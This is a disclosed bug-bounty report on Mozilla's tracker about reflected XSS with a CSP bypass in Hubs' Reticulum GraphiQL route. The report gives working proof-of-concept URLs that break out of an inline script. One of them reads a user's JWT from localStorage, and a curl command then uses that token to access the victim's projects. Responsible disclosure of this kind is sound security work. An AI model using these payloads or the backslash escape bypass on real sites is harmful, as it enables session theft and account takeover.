Reflected XSS with CSP bypass in Reticulum via improperly escaped "query" parameter in Elixir GraphiQL interface
Categories
(Websites :: Hubs, task)
Tracking
(Not tracked)
People
(Reporter: 40826d, Assigned: benders)
References
()
Details
(4 keywords, Whiteboard: [reporter-external] [web-bounty-form] [need to follow up with Absinthe before disclosure])
Attachments
(2 files)
Summary
Reticulum is the Elixir backend for Hubs. It ships with an alpha GraphQL API which exposes an instance of the GraphiQL web IDE on the /api/v2_alpha/graphiql route:
scope "/api/v2_alpha", as: :api_v2_alpha do
pipe_through(
[:parsed_body, :api, :public_api_access, :graphql] ++ if(Mix.env() == :prod, do: [:ssl_only], else: [])
)
forward "/graphiql", Absinthe.Plug.GraphiQL, json_codec: Jason, schema: RetWeb.Schema
forward "/", Absinthe.Plug, json_codec: Jason, schema: RetWeb.Schema
end
While exploring the Reticulum GraphiQL instance, I noticed that the value of the GET parameter query was returned unescaped in the main block of inline JavaScript. As CSP does not appear to be enforced under /api/v2_alpha/*, I was able to break out of the config variable and execute arbitrary JavaScript in the context of https://hubs.mozilla.com.
Based on the invocation of Absinthe.Plug.GraphiQL in the Reticulum Elixir code I suspect that this is ultimately the result of a bug in the "Absinthe.Plug" library, however I am not particularly familiar with Elixir and would appreciate a second opinion.
Specifically, it looks like the graphiql_workspace.html.eex template is used to render the page with the query_string variable:
var config = new graphiqlWorkspace.AppConfig("graphiql", {
defaultUrl: <%= default_url %>,
<%= if socket_url do %>
defaultWebsocketUrl: <%= socket_url %>,
subscriptionsClientBuilder: absintheSubscriptionsClientBuilder,
<% end %>
defaultQuery: '<%= query_string %>', # injection point
defaultVariables: '<%= variables_string %>',
defaultHeaders: <%= default_headers %>
This template is loaded by the parent GraphiQL module which attempts escaping on the query parameter. It is possible to bypass this escaping with a backslash as shown in the PoC in "Steps to Reproduce".
defp js_escape(string) do
string
|> String.replace(~r/\n/, "\\n")
|> String.replace(~r/'/, "\\'")
end
Environment
- Firefox 105.0.1 (64-bit), Firefox Developer Edition 106.0b6 (64-bit)
Steps to Reproduce
-
Browse to
https://hubs.mozilla.com/api/v2_alpha/graphiql?query=xxx\%27});confirm(document.domain);%20var%20x=new%20graphiqlWorkspace.AppConfig(%22x%22,{//. -
Observe the JavaScript alert dialog with the value of
document.domain.
Impact
An attacker can execute arbitrary JavaScript in the context of another user on https://hubs.mozilla.com. This may allow the attacker to interfere with the authentication flow and subsequently perform actions as that user.
| Reporter | ||
Comment 1•4 years ago
|
||
| Reporter | ||
Comment 2•4 years ago
|
||
If the user is signed in to Hubs, the following PoC URL can be used to retrieve their JWT from localStorage:
https://hubs.mozilla.com/api/v2_alpha/graphiql?query=xxx\%27});confirm(JSON.stringify(localStorage.___hubs_store));%20var%20x=new%20graphiqlWorkspace.AppConfig(%22x%22,{//
This auth token can then be used to make API requests to Reticulum as that user:
$ curl "https://hubs.mozilla.com/api/v1/projects" -X GET -H "Authorization: Bearer eyJ..."
{"projects":[{"name":"MySecretUnpublishedHubsProject","parent_scene":null,"project_id":"bNUKn6S","project_url":"https://uploads-prod.reticulum.io/files/9320cb9d-02ec-4ff0-83b8-42d7806a7d26.json","scene":null,"thumbnail_url":"https://uploads-prod.reticulum.io/files/1bbb66ba-f5e6-4cf3-8304-f2c098dc2d7d.jpg"}]}
I was able to reproduce this with the test account 40826d.mozbugbountytest@posteo.de and a clean session in the browsers in the "Environment" section.
| Reporter | ||
Comment 3•4 years ago
|
||
Updated•4 years ago
|
Comment 4•4 years ago
|
||
Hello Viridian,
Thank you for your report.
I can confirm that the XSS payload is being executed.
Thanks,
Frida
Comment 5•4 years ago
|
||
Hello Bryan,
Can you please take a look?
Thanks,
Frida
Vulnerability confirmed. We are removing that route until we can secure it. Thank you, viridian!
| Reporter | ||
Comment 7•4 years ago
|
||
Hi Frida and Bryan, thanks for the fast reply and confirmation! Please let me know if you require any additional info.
Viridian, may I file this issue with Absinthe using your wording largely unchanged? If so, would you like attribution?
| Reporter | ||
Comment 9•4 years ago
|
||
(In reply to Bryan from comment #8)
Viridian, may I file this issue with Absinthe using your wording largely unchanged? If so, would you like attribution?
Sure, that's fine. Please use "40826d" for attribution. Thanks for checking!
Comment 10•4 years ago
|
||
Thank you for reporting this bug.
| Reporter | ||
Comment 11•4 years ago
|
||
Thank you for the bounty award!
Updated•4 years ago
|
Updated•4 years ago
|
| Reporter | ||
Updated•4 years ago
|
Updated•2 years ago
|
Updated•1 year ago
|
Description
•